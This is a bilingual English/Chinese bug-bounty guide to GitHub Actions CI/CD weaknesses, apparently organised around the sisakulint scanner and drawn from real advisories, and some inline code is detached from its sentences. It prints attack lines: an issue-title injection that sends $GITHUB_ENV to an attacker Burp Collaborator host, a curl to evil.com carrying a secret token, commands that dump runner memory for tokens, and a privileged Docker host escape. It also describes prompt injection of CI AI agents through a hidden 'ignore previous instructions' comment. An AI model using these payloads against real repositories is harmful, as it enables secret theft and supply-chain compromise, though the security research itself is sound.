pull_request_targetworkflow_run- 不可信 checkout——下使用
pull_request_target,却没有显式指定安全 refactions/checkoutyaml# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU(检查时与使用时不一致)——基于 label 的审批 + 可变 ref = 攻击者在审批后添加 label,并推送恶意 commit
- Reusable workflow taint——将所有 secrets 传给处理不可信输入的被调用 workflow
secrets: inherit - 缓存投毒——不可信 checkout -> build -> 写入缓存 -> 可信 workflow 读取被投毒的缓存
- 缓存投毒(可投毒步骤)——不安全的 checkout 后,在保存缓存前执行 build 步骤
- Artifact 投毒——未经校验便从不可信 中执行
workflow_runactions/download-artifactyaml# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked——的
actions/checkout(默认值)会将persist-credentials: true凭据泄漏到上传的 artifact 中.git/configyaml# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
类别 3:供应链与依赖安全(CICD-SEC-08)
- Unpinned actions — (mutable tag) instead of SHA pin
uses: actions/checkout@v4yaml# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
- Ref confusion — ambiguous tag/branch names exploited to load unintended action version
- Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
- Archived actions — unmaintained action with unpatched vulnerabilities
- Unpinned container images — instead of SHA256 digest pin
image: ubuntu:latest
- 未固定版本的 action——使用 (可变 tag),而不是固定 SHA
uses: actions/checkout@v4yaml# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - Impostor commit——Fork network 允许推送 SHA 看似属于上游仓库的 commit
- Ref 混淆——利用含义模糊的 tag/branch 加载非预期版本的 action
- 存在已知漏洞的 action——根据 GHSA 数据库检查 action(sisakulint 可自动检测)
- 已归档 action——无人维护且存在未修复漏洞的 action
- 未固定版本的容器镜像——使用 ,而不是固定 SHA256 digest
image: ubuntu:latest
Category 4: Credential & Secret Protection
类别 4:凭据与 Secret 保护
- Secret exfiltration — in workflow
curl https://evil.com/${{ secrets.TOKEN }} - Secrets in artifacts — uploaded artifacts contain , credentials, or hidden files
.envyaml# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - Unmasked secrets — derived values bypass GitHub's automatic masking
fromJson()yaml# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - Excessive — reusable workflow call inherits all secrets when it only needs one
secrets: inherit - Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
- Secret 外泄——workflow 中存在
curl https://evil.com/${{ secrets.TOKEN }} - Artifact 中包含 Secret——上传的 artifact 包含 、凭据或隐藏文件
.envyaml# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - Secret 未被掩码——派生值可绕过 GitHub 自动掩码
fromJson()yaml# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - 过度使用 ——reusable workflow 只需要少量 secret,却继承了全部 secret
secrets: inherit - 硬编码凭据——API key、密码或 token 直接写在 workflow YAML 中
Category 5: Triggers & Access Control (CICD-SEC-01)
类别 5:Trigger 与访问控制(CICD-SEC-01)
- Dangerous triggers without mitigation — or
pull_request_targetwith noworkflow_run, no approval gate, no ref restrictionpermissions: {} - Dangerous triggers with partial mitigation — some protections present but bypassable
- Label-based approval bypass — is spoofable (attacker can add labels)
if: contains(github.event.pull_request.labels.*.name, 'approved') - Bot condition spoofing — is trivially bypassed by naming account similarly
if: github.actor != 'dependabot[bot]' - Excessive GITHUB_TOKEN permissions — when only
permissions: write-allneededcontents: read - Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
- OIDC token theft — CI runners expose OIDC tokens that grant cloud access
- 未采取缓解措施的危险 trigger——或
pull_request_target没有workflow_run、没有审批 gate、没有 ref 限制permissions: {} - 仅部分缓解的危险 trigger——存在部分保护,但可以绕过
- 基于 label 的审批绕过——可被伪造(攻击者可以添加 label)
if: contains(github.event.pull_request.labels.*.name, 'approved') - Bot 条件伪造——可通过使用相似名称的账户轻易绕过
if: github.actor != 'dependabot[bot]' - GITHUB_TOKEN 权限过大——,但实际只需要
permissions: write-allcontents: read - 公共仓库中的 self-hosted runner——不可信 PR 在组织基础设施上执行 = 容器逃逸 -> 横向移动
- OIDC token 窃取——CI runner 暴露具有云访问权限的 OIDC token
Category 6: AI Agent Security (NEW — 2025+)
类别 6:AI Agent 安全(新增——2025+)
- Unrestricted AI trigger — lets any user trigger AI agent execution
allowed_non_write_users: "*" - Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
- Prompt injection via workflow context — interpolated into AI agent prompt parameter
${{ github.event.issue.body }}
- 不受限制的 AI trigger——允许任何用户触发 AI agent 执行
allowed_non_write_users: "*" - 工具授权过大——AI agent 在不可信 trigger 环境中拥有 Bash/Write/Edit 工具 = 攻击者提示词 -> RCE
- 通过 workflow 上下文实施提示词注入——被插入 AI agent prompt 参数
${{ github.event.issue.body }}
Hunting Workflow
挖掘工作流
1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tampering1. Recon: find all .github/workflows/*.yml in target's public repos
2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo)
3. Triage: Critical/High findings → manual verification
4. For each finding:
a. Can I trigger this as an external contributor? (fork PR, issue creation, comment)
b. What secrets are accessible? (check permissions: block, secrets usage)
c. What's the blast radius? (repo secrets → deploy keys → cloud access)
5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow
6. Prove: show secret exfiltration, code execution, or artifact tamperingExpression Injection PoC Template
表达式注入 PoC 模板
bash
undefinedbash
undefinedStep 1: Create an issue with injection payload in title
Step 1: Create an issue with injection payload in title
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test"
Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated
CVSS: 9.3 Critical (RCE with repo secrets)
CVSS: 9.3 Critical (RCE with repo secrets)
undefinedundefinedReal-World GHSAs (Proven Payouts)
真实世界 GHSA(已证实可获得奖金)
| GHSA | Action | Bug Class | Severity |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
| GHSA | Action | 漏洞类型 | 严重性 |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | 通过分支名实施表达式注入 | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | 特权 trigger 中的代码注入 | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | 构建日志中的 Secret 暴露 | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact 投毒(官方 action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | 不可信 checkout 导致缓存投毒 | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | 供应链——impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | 通过代码注入暴露 token | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Tag 固定导致定时炸弹 | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | 存在已知漏洞的官方 action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | 构建 workflow 中的参数注入 | Moderate |
A→B Signal: CI/CD Chains
A→B 信号:CI/CD 漏洞链
Expression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivotExpression injection → secret exfiltration → cloud account takeover
Untrusted checkout → Makefile RCE → deploy key theft → repo takeover
Artifact poisoning → release binary tampering → supply chain compromise
Cache poisoning → build output manipulation → backdoored deployment
Impostor commit → pinned action hijack → all downstream repos affected
OIDC token theft → cloud metadata → S3/GCS read → customer data
Self-hosted runner → container escape → internal network pivotDeep-Dive: From sisakulint Finding to Bounty Report
深入分析:从 sisakulint 发现到漏洞赏金报告
sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
sisakulint 的发现可能可以利用——但不是已确认的漏洞。每个发现都需要手动验证。以下模式提取自 36 份真实世界的高额漏洞赏金报告(总奖金超过 25 万美元)。每一节都还原了实际获得奖金时的思考过程。
1. Code Injection / Argument Injection
1. 代码注入 / 参数注入
Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
- Trigger accessibility — and
issues: openedare triggerable by ANY GitHub user.issue_comment: createdis triggerable via fork PR. Check if there's anpull_request_targetcondition filtering by actor/association.if: - Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because passed
cherry-picker.ymlvia${{ github.event.issue.title }}to a composite action in another repo (with:). The composite action'sbazelbuild/continuous-integrationhadaction.yml. Conventional scanners (actionlint) missed this because they don't followrun: TITLE="${{ inputs.issue-title }}"into external composite actions. Always fetch and read the composite action's action.yml.uses: - Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used (Internal Field Separator) and Bash brace expansion
${IFS}to bypass this. Issue titles/bodies have no such restriction.{curl,-sSfL,URL} - Secrets reachability — Check at workflow AND job level. No explicit
permissions:block = repo default (oftenpermissions:). Checkwrite-allblocks forenv:. Check if${{ secrets.* }}has write permissions.GITHUB_TOKEN - Impact chain — Bazel: issue title injection → composite action shell injection → +
BAZEL_IO_TOKEN→ Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).GITHUB_TOKEN (write-all)
Kill signals: or returning booleans are NOT injectable — false positive. inside evaluates to /, not the label text.
${{ contains(...) }}${{ startsWith(...) }}${{ github.event.pull_request.labels.*.name }}contains()truefalse关卡问题:外部攻击者能否触发此 workflow,并且受污染输入能否进入 shell 上下文?
验证深度:
- Trigger 可达性——和
issues: opened可由任何 GitHub 用户触发。issue_comment: created可通过 fork PR 触发。检查是否存在按 actor/association 过滤的pull_request_target条件。if: - 直接 taint 与间接 taint——workflow 文件本身看起来可能很安全。Cycode 发现了 Bazel 的 1.3 万美元漏洞,因为 通过
cherry-picker.yml将with:传给另一个仓库中的 composite action(${{ github.event.issue.title }})。该 composite action 的bazelbuild/continuous-integration中包含action.yml。传统扫描器(actionlint)会漏掉该问题,因为它们不会沿着run: TITLE="${{ inputs.issue-title }}"跟进外部 composite action。始终获取并阅读 composite action 的 action.yml。uses: - Payload 构造——分支名不能包含空格。Ultralytics YOLO 攻击者使用 (Internal Field Separator)和 Bash brace expansion
${IFS}绕过此限制。Issue title/body 没有这种限制。{curl,-sSfL,URL} - Secrets 可达性——检查 workflow 级和 job 级的 。没有显式
permissions:块意味着使用仓库默认值(通常为permissions:)。检查write-all块中的env:。检查${{ secrets.* }}是否拥有写权限。GITHUB_TOKEN - 影响链——Bazel:issue title 注入 -> composite action shell 注入 -> +
BAZEL_IO_TOKEN-> 具备向 Bazel 代码库植入 backdoor 的能力(可能影响 Google、Kubernetes、Uber、LinkedIn)。GITHUB_TOKEN (write-all)
排除信号:返回布尔值的 或 不可注入——它们是误报。 放在 中时只会求值为 /,而不是 label 文本。
${{ contains(...) }}${{ startsWith(...) }}${{ github.event.pull_request.labels.*.name }}contains()truefalse2. Untrusted Checkout (Pwn Request)
2. 不可信 Checkout(Pwn Request)
Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
- Explicit vs implicit code execution — The Flank $7.5K bug: →
gh pr checkoutruns Gradle → Gradle auto-evaluatesgradle/gradle-build-actionas Kotlin script. The attacker never wrote asettings.gradle.ktscommand. Any build tool that reads config from the repo is an execution vector:run:,Makefile(postinstall scripts),package.json,setup.py,build.gradle.kts,.cargo/config.toml.Gemfile - Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft: trigger +
issue_commentcheckout.refs/pull/${{ github.event.issue.number }}/headruns in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns.issue_comment - Self-hosted runner escalation — If contains
runs-on:, check: (a) Is the runner ephemeral? (self-hostedin config.sh). (b) Is the runner in Docker group? (--ephemeral). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:docker run -v /:/host --privileged+ install attacker's runner agent) → wait for privileged workflow → steal PATs fromRUNNER_TRACKING_ID=0or process memory..git/config - TOCTOU — Label-gated workflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. The
pull_request_targetat checkout time resolves to the new commit. Mutable refs (ref:at trigger time vs checkout time) are the root cause.github.event.pull_request.head.sha - Post-exploitation — After initial access, enumerate all secrets: ,
env | base64,cat /proc/self/environ+gcore $(pgrep Runner.Worker). PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.strings core.* | grep ghp_
Kill signals: blocks external attackers. at workflow level with only at job level limits damage. Ephemeral runners with flag prevent persistence.
if: "!github.event.pull_request.head.repo.fork"permissions: {}contents: read--ephemeral关卡问题:workflow 是否 checkout 攻击者控制的代码,随后执行该 checkout 中的内容?
验证深度:
- 显式与隐式代码执行——Flank 的 7,500 美元漏洞:->
gh pr checkout运行 Gradle -> Gradle 自动将gradle/gradle-build-action作为 Kotlin script 求值。攻击者甚至没有编写settings.gradle.kts命令。任何读取仓库配置的构建工具都是执行向量:run:、Makefile(postinstall script)、package.json、setup.py、build.gradle.kts、.cargo/config.toml。Gemfile - issue_comment 与 pull_request_target 同样危险——Rspack NPM token 窃取:trigger +
issue_commentcheckout。refs/pull/${{ github.event.issue.number }}/head在基础仓库上下文中运行,并拥有完整 secrets。Draft PR 也包含在内。没有 contributor status 检查。始终检查 issue_comment workflow 中是否存在 PR checkout 模式。issue_comment - Self-hosted runner 权限提升——如果 包含
runs-on:,检查:(a) runner 是否为临时实例?(self-hosted中包含config.sh)。(b) runner 是否位于 Docker group?(--ephemeral)。(c) PyTorch 模式:contributor 技巧(拼写修正 PR -> 合并 -> contributor 状态 -> 后续 PR 自动在 self-hosted runner 上触发且无需审批)-> RoR(Runner-on-Runner:docker run -v /:/host --privileged+ 安装攻击者的 runner agent)-> 等待特权 workflow -> 从RUNNER_TRACKING_ID=0或进程内存窃取 PAT。.git/config - TOCTOU——基于 label 门控的 workflow:攻击者先获得 label(通过社会工程),workflow 检查 label 是否存在,攻击者随后在检查与 checkout 之间推送恶意 commit。Checkout 时的
pull_request_target会解析为新 commit。可变 ref(触发时的ref:与 checkout 时的 ref)是根因。github.event.pull_request.head.sha - 利用后动作——获得初始访问后,枚举所有 secrets:、
env | base64、cat /proc/self/environ+gcore $(pgrep Runner.Worker)。PyTorch 攻击者获得了 3 个 bot PAT -> 将其组合后绕过 main 分支保护。strings core.* | grep ghp_
排除信号: 会阻止外部攻击者。workflow 级 配合 job 级仅 可限制损害。带 flag 的临时 runner 可防止持久化。
if: "!github.event.pull_request.head.repo.fork"permissions: {}contents: read--ephemeral3. Artifact Poisoning
3. Artifact 投毒
Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
- Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via ) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:
needs:workflow uploads → separatepull_requestworkflow downloads.workflow_runtriggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets.workflow_run - Download path matters — with
actions/download-artifactor workspace-relative paths (path: .) can overwrite source code, build scripts, or binaries. Safe pattern: extract tografana-server/bin.${{ runner.temp }}/artifacts - Source validation — Does the consumer check
workflow_run? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this.github.event.workflow_run.head_repository.full_name != github.repository - ArtiPACKED (persist-credentials) — defaults to
actions/checkout. This writespersist-credentials: truetoGITHUB_TOKEN. If the artifact upload path includes.git/config(e.g.,.git/), the token is publicly downloadable from the Actions artifact. Check: does anypath: .step useupload-artifactor a broad path that includespath: .?.git/
Kill signals: Upload and download in the same workflow run (connected by ). consumer that explicitly checks fork origin. on checkout.
needs:workflow_runpersist-credentials: false关卡问题:是否存在两阶段 workflow 模式,其中阶段 1(,无 secrets)上传 artifact,阶段 2(,有 secrets)下载并使用它?
pull_requestworkflow_run验证深度:
- 跨 Workflow Artifact 流向——同一 workflow 内的上传/下载(build job -> test job,通过 连接)不可投毒,因为攻击者的 PR 运行的是自己的构建。危险模式是:
needs:workflow 上传 -> 独立的pull_requestworkflow 下载。workflow_run在另一个 workflow 完成时触发,并运行于 DEFAULT BRANCH 上下文,拥有完整 secrets。workflow_run - 下载路径很重要——的
actions/download-artifact或 workspace 相对路径(如path: .)可能覆盖源代码、构建脚本或二进制文件。安全模式是解压到grafana-server/bin。${{ runner.temp }}/artifacts - Source 验证——消费者是否检查
workflow_run?如果没有,就会盲目消费 fork PR 的 artifact。Rust release pipeline 正是以这种方式存在漏洞。github.event.workflow_run.head_repository.full_name != github.repository - ArtiPACKED(persist-credentials)——默认使用
actions/checkout。这会将persist-credentials: true写入GITHUB_TOKEN。如果 artifact 上传路径包含.git/config(例如.git/),token 就能通过 Actions artifact 被公开下载。检查:是否有任何path: .步骤使用upload-artifact或包含path: .的宽泛路径?.git/
排除信号:在同一次 workflow run 中上传并下载(通过 连接)。 消费者显式检查 fork 来源。checkout 使用 。
needs:workflow_runpersist-credentials: false4. Cache Poisoning
4. 缓存投毒
Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic () and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
hashFiles('package-lock.json')Verification depth:
- Key predictability — is fully predictable. Adding
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}orgithub.shato the key makes it unpredictable. Check every cache key for the presence of an unpredictable component.github.run_id - Cache hierarchy exploitation — and
workflow_runworkflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. Theworkflow_dispatchpattern:run-dashboard-search-e2e.ymltrigger →workflow_runwithactions/cachekey → all PR workflows read this cache.hashFiles() - Payload injection — Cacheract: inject malware into package manager caches (,
node_modules/.cache,~/.cache/pip). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs.~/.gradle/caches - Privileged consumption — The cache is restored in a or
pushworkflow on the default branch. These workflows have fullscheduleaccess. The poisoned dependency executes duringsecrets/npm install/pip installand exfiltrates secrets.gradle build - Clinejection chain — Prompt injection → AI agent runs from attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
npm install
Kill signals: Cache key includes or . Separate cache keys per workflow. (read-only) instead of (read-write) in PR workflows.
github.shagithub.run_idactions/cache/restoreactions/cache关卡问题:fork PR 能否写入缓存项,并在后续特权上下文中由默认分支恢复?
关键:GitHub 的缓存作用域并不能完全防止这种情况。PR 分支可以读取默认分支的缓存。Fork PR workflow 可以写入缓存项。如果缓存键是确定性的(),且攻击者没有修改该文件,那么 fork PR 写入的就是同一个缓存键。
hashFiles('package-lock.json')验证深度:
- 键可预测性——完全可预测。加入
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}或github.sha后会变得不可预测。检查每个缓存键是否包含不可预测的组成部分。github.run_id - 缓存层级利用——和
workflow_runworkflow 在默认分支上下文中运行。如果它们使用可预测的键写入缓存,攻击者只需触发上游 workflow(通过 fork PR),就能预先投毒缓存。workflow_dispatch模式:run-dashboard-search-e2e.ymltrigger ->workflow_run使用actions/cache键 -> 所有 PR workflow 读取此缓存。hashFiles() - Payload 注入——Cacheract:向包管理器缓存(、
node_modules/.cache、~/.cache/pip)注入恶意软件。该恶意软件通过每次“恢复 -> 构建 -> 保存”的循环自我延续。缓存 TTL 为 7 天——payload 可在多次 workflow run 之间存活。~/.gradle/caches - 特权消费——缓存在默认分支的 或
pushworkflow 中恢复。这些 workflow 拥有完整schedule访问权限。被投毒的依赖会在secrets/npm install/pip install期间执行并外泄 secrets。gradle build - Clinejection 漏洞链——提示词注入 -> AI agent 从攻击者 commit 执行 -> Cacheract 在 npm 缓存中植入 payload -> nightly publish workflow 恢复缓存 -> VSCE_PAT、OVSX_PAT、NPM_RELEASE_TOKEN 被窃取 -> 恶意 Cline v2.3.0 被发布 8 小时。
npm install
排除信号:缓存键包含 或 。不同 workflow 使用不同缓存键。PR workflow 使用 (只读),而不是 (读写)。
github.shagithub.run_idactions/cache/restoreactions/cache5. Self-Hosted Runners
5. Self-hosted Runner
Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
- Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
- Runner persistence — Non-ephemeral runners retain state between jobs. prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (
RUNNER_TRACKING_ID=0) also survive cleanup.docker run -d --restart always - Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
- Lateral movement — RoR persistence → wait for privileged /
pushworkflows → steal tokens fromschedule,.git/config,$GITHUB_ENV, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access →/proc/PID/environsupply chain.pip install pytorch - Docker group escalation — → full host root. Add SSH keys, modify sudoers, install persistent backdoors.
docker run -v /:/host --privileged alpine chroot /host
Kill signals: flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
--ephemeral关卡问题:公共仓库是否使用 self-hosted runner,且外部贡献者能否触发 workflow?
验证深度:
- 审批设置——默认设置是“Require approval for first-time contributors”。在合并一个 PR(即使只是拼写修正)后,攻击者便成为“contributor”,后续 PR 会自动触发且无需审批。GitHub runner-images 的 2 万美元漏洞使用的正是这一技巧。
- Runner 持久化——非临时 runner 会在 Job 之间保留状态。可阻止 runner 在 Job 完成后清理攻击者进程。分离式 Docker container(
RUNNER_TRACKING_ID=0)也能在清理后存活。docker run -d --restart always - Runner-on-Runner(RoR)——在目标的 self-hosted runner 上安装官方 GitHub Actions runner binary,并将其注册到攻击者的私有组织。只使用合法 GitHub binary 和指向 github.com 的 HTTPS——与正常 runner 流量无法区分。无需 C2 server,GitHub 本身就是 C2。
- 横向移动——RoR 持久化 -> 等待特权 /
pushworkflow -> 从schedule、.git/config、$GITHUB_ENV或 Runner.Worker 进程内存窃取 token。PyTorch:3 个 bot PAT -> 93 个仓库 -> AWS S3 写权限 ->/proc/PID/environ供应链攻击。pip install pytorch - Docker group 权限提升——-> 获取宿主机 root 权限。添加 SSH key、修改 sudoers、安装持久化 backdoor。
docker run -v /:/host --privileged alpine chroot /host
排除信号:runner 注册时包含 flag。对所有外部协作者都要求审批,而不只是首次贡献者。Runner 不在 Docker group 中。私有仓库(无外部 PR)。
--ephemeral6. Supply Chain (commit-sha / impostor-commit / ref-confusion)
6. 供应链(commit-sha / impostor-commit / ref-confusion)
Gate question: Does the workflow use mutable tags (, ) for actions, and could those tags be replaced?
@v1@v2Verification depth:
- Tag mutability — replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks.
git tag -f v1 <malicious-commit> - Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's . GitHub resolves it because the SHA exists in the shared object store.
uses: - RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used → MirrorNG renamed to MirageNet →
MirrorNG/unity-runnerwas claimable. Check:MirrorNGreturns 404? Takeover possible.GET /users/<action-owner> - Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via +
/proc/PID/maps, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key./proc/PID/mem
Kill signals: Full 40-char SHA pinning (). Dependabot configured for ecosystem. Organization-level action allowlist.
uses: actions/checkout@b4ffde65...github-actions关卡问题:workflow 是否使用可变 tag(、)引用 action,这些 tag 是否可能被替换?
@v1@v2验证深度:
- Tag 可变性——可替换 tag。98.4% 的仓库没有使用 SHA 固定(Legit Security 2024)。tj-actions 攻击:所有版本 tag(v1、v35、v45)均被替换为 memdump.py payload -> 23K 个仓库受影响 -> 218 次 Secret 泄露得到确认。
git tag -f v1 <malicious-commit> - Impostor commit——Fork network 与父仓库共享 object store。攻击者向 fork 推送 commit,然后在父仓库的 中引用该 commit SHA。GitHub 会进行解析,因为 SHA 已存在于共享 object store 中。
uses: - RepoJacking——组织重命名会创建重定向,旧名称会变为可注册状态。攻击者注册旧组织名称,创建同名仓库并托管恶意 action。Shopify/unity-buy-sdk 使用过 -> MirrorNG 重命名为 MirageNet ->
MirrorNG/unity-runner随后可被认领。检查:MirrorNG是否返回 404?是否可能被接管?GET /users/<action-owner> - Payload 隐蔽性——tj-actions memdump.py:通过 +
/proc/PID/maps从 Runner.Worker 进程内存提取 secrets,使用 AES+RSA 加密,并将结果输出到 workflow log。Log 公开可见但已加密——只有攻击者持有密钥。/proc/PID/mem
排除信号:使用完整的 40 字符 SHA 固定()。配置了面向 生态的 Dependabot。存在组织级 action allowlist。
uses: actions/checkout@b4ffde65...github-actions7. AI Agent Security
7. AI Agent 安全
Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
- Trigger + prompt source — → AI triage bot reads
issues: opened. The body IS the prompt. HTML comments (github.event.issue.body) are invisible in GitHub UI but included in the API response and thus in the AI prompt.<!-- ignore previous instructions --> - Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil. means ANY user can trigger.
allowed_non_write_users: "*" - Multi-phase chain — Clinejection: prompt injection → AI runs from attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
npm install
Kill signals: check before AI processing. flags on AI CLI. at workflow level.
author_association == 'MEMBER' || 'OWNER'--read-only --no-execpermissions: {}关卡问题:workflow 中是否调用了 AI agent(Gemini CLI、Claude Code、Cline、Codex),且外部用户能够影响其 prompt?
验证深度:
- Trigger + Prompt 来源——-> AI triage bot 读取
issues: opened。Body 就是 prompt。HTML 注释(github.event.issue.body)在 GitHub UI 中不可见,但会包含在 API 响应中,因此也会进入 AI prompt。<!-- ignore previous instructions --> - 工具权限——如果 AI agent 拥有 Bash/Write/Edit 工具,且在环境中运行 secrets,那么提示词注入 = RCE + Secret 外泄。意味着任何用户都能触发。
